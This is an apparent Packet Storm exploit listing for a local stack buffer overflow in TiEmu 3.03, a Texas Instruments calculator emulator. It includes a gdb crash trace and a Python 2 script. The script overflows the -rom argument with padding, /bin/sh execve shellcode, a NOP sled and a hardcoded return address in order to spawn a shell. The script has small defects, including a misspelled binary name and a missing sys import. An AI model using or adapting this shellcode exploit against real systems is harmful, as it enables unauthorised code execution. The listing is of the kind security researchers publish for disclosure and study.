accept no compromises

Texas Instruments Calculators Emulator 3.03-nogdb+dfsg-3 Buffer Overflow

Texas Instruments Calculators Emulator 3.03-nogdb+dfsg-3 Buffer Overflow
Posted Apr 13, 2016
Authored by Juan Sacco

Texas Instruments Calculators Emulator version 3.03-nogdb+dfsg-3 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | 41148e50e8c630ef04fc38a51d0a5b31

Texas Instruments Calculators Emulator 3.03-nogdb+dfsg-3 Buffer Overflow

Change Mirror Download
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Texas Instruments calculators emulator (without GDB)
# Version: 3.03-nogdb+dfsg-3
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: TiEmu emulates Texas Instruments calculators TI
9/92/92+/V200PLT.
# Kali Linux 2.0 package: pool/main/t/tiemu/tiemu_3.03-nogdb+dfsg-3_i386.deb
# MD5sum: 79a42bb40dfa8437b6808a9072faf001
# Website: http://lpg.ticalc.org/prj_tiemu/
#
#
# Starting program: /usr/bin/tiemu -rom=$(python -c 'print "A"*80')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# TiEmu 3 - Version 3.03
# THIS PROGRAM COMES WITH ABSOLUTELY NO WARRANTY
# PLEASE READ THE DOCUMENTATION FOR DETAILS
#
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb6ec9367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb6ecaa23 in __GI_abort () at abort.c:89
#3 0xb6f07778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb6ffd715 "*** %s ***: %s
#4 0xb6f97b85 in __GI___fortify_fail (msg=msg@entry=0xb6ffd6fd "stack
smashing detected") at fortify_fail.c:31
#5 0xb6f97b3a in __stack_chk_fail () at stack_chk_fail.c:28
#6 0x0811beb3 in _start ()

import os,subprocess

def run():
try:
print "# Texas Instrument Emulator Buffer Overflow by Juan Sacco"
print "# This exploit is for educational purposes only"
# JUNK + SHELLCODE + NOPS + EIP

junk = "\x41"*84
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*12
eip = "\xd1\xf3\xff\xbf"
subprocess.call(["tiem ",'-rom= ', junk + shellcode + nops + eip])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, Texas Instrument emulator not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit Tiem 3.03-nogdb+dfsg-3 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    30 Files
  • 3
    Aug 3rd
    20 Files
  • 4
    Aug 4th
    17 Files
  • 5
    Aug 5th
    4 Files
  • 6
    Aug 6th
    2 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    18 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    24 Files
  • 11
    Aug 11th
    10 Files
  • 12
    Aug 12th
    3 Files
  • 13
    Aug 13th
    3 Files
  • 14
    Aug 14th
    10 Files
  • 15
    Aug 15th
    16 Files
  • 16
    Aug 16th
    18 Files
  • 17
    Aug 17th
    15 Files
  • 18
    Aug 18th
    4 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close